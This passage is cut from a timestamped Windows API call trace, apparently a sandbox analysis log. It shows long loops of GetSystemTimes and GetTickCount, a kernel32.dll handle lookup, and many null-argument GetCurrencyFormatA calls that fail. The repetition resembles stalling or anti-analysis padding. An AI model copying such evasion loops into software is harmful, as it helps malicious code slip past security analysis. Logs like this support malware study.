lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.071] GetTickCount () returned 0x1143064 [0029.071] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.071] GetTickCount () returned 0x1143064 [0029.071] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.071] GetTickCount () returned 0x1143064 [0029.071] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.071] GetTickCount () returned 0x1143064 [0029.071] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.071] GetTickCount () returned 0x1143064 [0029.071] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.071] GetTickCount () returned 0x1143064 [0029.071] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.071] GetTickCount () returned 0x1143064 [0029.071] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.071] GetTickCount () returned 0x1143064 [0029.071] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.072] GetTickCount () returned 0x1143064 [0029.072] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.072] GetTickCount () returned 0x1143064 [0029.072] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.072] GetTickCount () returned 0x1143064 [0029.072] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.072] GetTickCount () returned 0x1143064 [0029.072] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.072] GetTickCount () returned 0x1143064 [0029.072] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.072] GetTickCount () returned 0x1143064 [0029.072] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.072] GetTickCount () returned 0x1143064 [0029.072] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.072] GetTickCount () returned 0x1143064 [0029.072] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.072] GetTickCount () returned 0x1143064 [0029.072] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.072] GetTickCount () returned 0x1143064 [0029.072] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.072] GetTickCount () returned 0x1143064 [0029.073] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.073] GetTickCount () returned 0x1143064 [0029.073] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.073] GetTickCount () returned 0x1143064 [0029.073] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.073] GetTickCount () returned 0x1143064 [0029.073] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.073] GetTickCount () returned 0x1143064 [0029.073] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.073] GetTickCount () returned 0x1143064 [0029.073] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.073] GetTickCount () returned 0x1143064 [0029.073] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.073] GetTickCount () returned 0x1143064 [0029.073] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.073] GetTickCount () returned 0x1143064 [0029.073] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.073] GetTickCount () returned 0x1143064 [0029.073] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.073] GetTickCount () returned 0x1143064 [0029.073] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.074] GetTickCount () returned 0x1143064 [0029.074] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.074] GetTickCount () returned 0x1143064 [0029.074] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.074] GetTickCount () returned 0x1143064 [0029.074] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.074] GetTickCount () returned 0x1143064 [0029.074] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.074] GetTickCount () returned 0x1143064 [0029.074] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.074] GetTickCount () returned 0x1143064 [0029.074] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.074] GetTickCount () returned 0x1143064 [0029.074] GetSystemTimes (in: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8 | out: lpIdleTime=0x18f2f0, lpKernelTime=0x18f2e8, lpUserTime=0x18f2f8) returned 1 [0029.075] lstrcatA (in: lpString1="", lpString2="kernel32.dll" | out: lpString1="kernel32.dll") returned="kernel32.dll" [0029.075] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0029.077] GetTickCount () returned 0x1143073 [0029.077] lstrlenA (lpString="kernel32.dll") returned 12 [0029.078] GetTickCount () returned 0x1143073 [0029.078] GetLastError () returned 0x0 [0029.079] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.080] GetTickCount () returned 0x1143073 [0029.080] GetLastError () returned 0x57 [0029.080] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.080] GetTickCount () returned 0x1143073 [0029.080] GetLastError () returned 0x57 [0029.080] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.080] GetTickCount () returned 0x1143073 [0029.080] GetLastError () returned 0x57 [0029.080] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.080] GetTickCount () returned 0x1143073 [0029.080] GetLastError () returned 0x57 [0029.080] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.080] GetTickCount () returned 0x1143073 [0029.080] GetLastError () returned 0x57 [0029.080] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.080] GetTickCount () returned 0x1143073 [0029.080] GetLastError () returned 0x57 [0029.080] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.080] GetTickCount () returned 0x1143073 [0029.080] GetLastError () returned 0x57 [0029.080] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.080] GetTickCount () returned 0x1143073 [0029.080] GetLastError () returned 0x57 [0029.080] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.080] GetTickCount () returned 0x1143073 [0029.080] GetLastError () returned 0x57 [0029.080] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.080] GetTickCount () returned 0x1143073 [0029.080] GetLastError () returned 0x57 [0029.080] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.080] GetTickCount () returned 0x1143073 [0029.080] GetLastError () returned 0x57 [0029.080] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.080] GetTickCount () returned 0x1143073 [0029.080] GetLastError () returned 0x57 [0029.080] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.080] GetTickCount () returned 0x1143073 [0029.081] GetLastError () returned 0x57 [0029.081] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.081] GetTickCount () returned 0x1143073 [0029.081] GetLastError () returned 0x57 [0029.081] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.081] GetTickCount () returned 0x1143073 [0029.081] GetLastError () returned 0x57 [0029.081] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.081] GetTickCount () returned 0x1143073 [0029.081] GetLastError () returned 0x57 [0029.081] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.081] GetTickCount () returned 0x1143073 [0029.081] GetLastError () returned 0x57 [0029.081] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.081] GetTickCount () returned 0x1143073 [0029.081] GetLastError () returned 0x57 [0029.081] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.081] GetTickCount () returned 0x1143073 [0029.081] GetLastError () returned 0x57 [0029.081] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.081] GetTickCount () returned 0x1143073 [0029.081] GetLastError () returned 0x57 [0029.081] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.081] GetTickCount () returned 0x1143073 [0029.081] GetLastError () returned 0x57 [0029.081] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.081] GetTickCount () returned 0x1143073 [0029.081] GetLastError () returned 0x57 [0029.081] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.081] GetTickCount () returned 0x1143073 [0029.081] GetLastError () returned 0x57 [0029.081] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.081] GetTickCount () returned 0x1143073 [0029.081] GetLastError () returned 0x57 [0029.081] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.081] GetTickCount () returned 0x1143073 [0029.081] GetLastError () returned 0x57 [0029.081] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.081] GetTickCount () returned 0x1143073 [0029.082] GetLastError () returned 0x57 [0029.082] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.082] GetTickCount () returned 0x1143073 [0029.082] GetLastError () returned 0x57 [0029.082] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.082] GetTickCount () returned 0x1143073 [0029.082] GetLastError () returned 0x57 [0029.082] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.082] GetTickCount () returned 0x1143073 [0029.082] GetLastError () returned 0x57 [0029.082] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.082] GetTickCount () returned 0x1143073 [0029.082] GetLastError () returned 0x57 [0029.082] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.082] GetTickCount () returned 0x1143073 [0029.082] GetLastError () returned 0x57 [0029.082] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.082] GetTickCount () returned 0x1143073 [0029.082] GetLastError () returned 0x57 [0029.082] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.082] GetTickCount () returned 0x1143073 [0029.082] GetLastError () returned 0x57 [0029.082] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.082] GetTickCount () returned 0x1143073 [0029.082] GetLastError () returned 0x57 [0029.082] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.082] GetTickCount () returned 0x1143073 [0029.082] GetLastError () returned 0x57 [0029.082] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.082] GetTickCount () returned 0x1143073 [0029.082] GetLastError () returned 0x57 [0029.082] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.082] GetTickCount () returned 0x1143073 [0029.082] GetLastError () returned 0x57 [0029.082] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.082] GetTickCount () returned 0x1143073 [0029.082] GetLastError () returned 0x57 [0029.082] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.082] GetTickCount () returned 0x1143073 [0029.082] GetLastError () returned 0x57 [0029.082] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.083] GetTickCount () returned 0x1143073 [0029.083] GetLastError () returned 0x57 [0029.083] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.083] GetTickCount () returned 0x1143073 [0029.083] GetLastError () returned 0x57 [0029.083] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.083] GetTickCount () returned 0x1143073 [0029.083] GetLastError () returned 0x57 [0029.083] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.083] GetTickCount () returned 0x1143073 [0029.083] GetLastError () returned 0x57 [0029.083] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.083] GetTickCount () returned 0x1143073 [0029.083] GetLastError () returned 0x57 [0029.083] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.083] GetTickCount () returned 0x1143073 [0029.083] GetLastError () returned 0x57 [0029.083] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.083] GetTickCount () returned 0x1143073 [0029.083] GetLastError () returned 0x57 [0029.083] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.083] GetTickCount () returned 0x1143073 [0029.083] GetLastError () returned 0x57 [0029.083] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.083] GetTickCount () returned 0x1143073 [0029.083] GetLastError () returned 0x57 [0029.083] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.083] GetTickCount () returned 0x1143073 [0029.083] GetLastError () returned 0x57 [0029.083] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.083] GetTickCount () returned 0x1143073 [0029.083] GetLastError () returned 0x57 [0029.083] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.083] GetTickCount () returned 0x1143073 [0029.083] GetLastError () returned 0x57 [0029.083] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.083] GetTickCount () returned 0x1143073 [0029.083] GetLastError () returned 0x57 [0029.083] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.083] GetTickCount () returned 0x1143073 [0029.083] GetLastError () returned 0x57 [0029.084] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.084] GetTickCount () returned 0x1143073 [0029.084] GetLastError () returned 0x57 [0029.084] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.084] GetTickCount () returned 0x1143073 [0029.084] GetLastError () returned 0x57 [0029.084] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.084] GetTickCount () returned 0x1143073 [0029.084] GetLastError () returned 0x57 [0029.084] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.084] GetTickCount () returned 0x1143073 [0029.084] GetLastError () returned 0x57 [0029.084] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.084] GetTickCount () returned 0x1143073 [0029.084] GetLastError () returned 0x57 [0029.084] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.084] GetTickCount () returned 0x1143073 [0029.084] GetLastError () returned 0x57 [0029.084] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.084] GetTickCount () returned 0x1143073 [0029.084] GetLastError () returned 0x57 [0029.084] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.084] GetTickCount () returned 0x1143073 [0029.084] GetLastError () returned 0x57 [0029.084] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.084] GetTickCount () returned 0x1143073 [0029.084] GetLastError () returned 0x57 [0029.084] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.084] GetTickCount () returned 0x1143073 [0029.084] GetLastError () returned 0x57 [0029.084] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.084] GetTickCount () returned 0x1143073 [0029.084] GetLastError () returned 0x57 [0029.084] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.084] GetTickCount () returned 0x1143073 [0029.084] GetLastError () returned 0x57 [0029.084] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.084] GetTickCount () returned 0x1143073 [0029.084] GetLastError () returned 0x57 [0029.085] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpCurrencyStr=0x0, cchCurrency=0 | out: lpCurrencyStr=0x0) returned 0 [0029.085] GetTickCount () returned 0x1143073 [0029.085] GetLastError () returned 0x57 [0029.085] GetCurrencyFormatA (in: Locale=0x0, dwFlags=0x0, 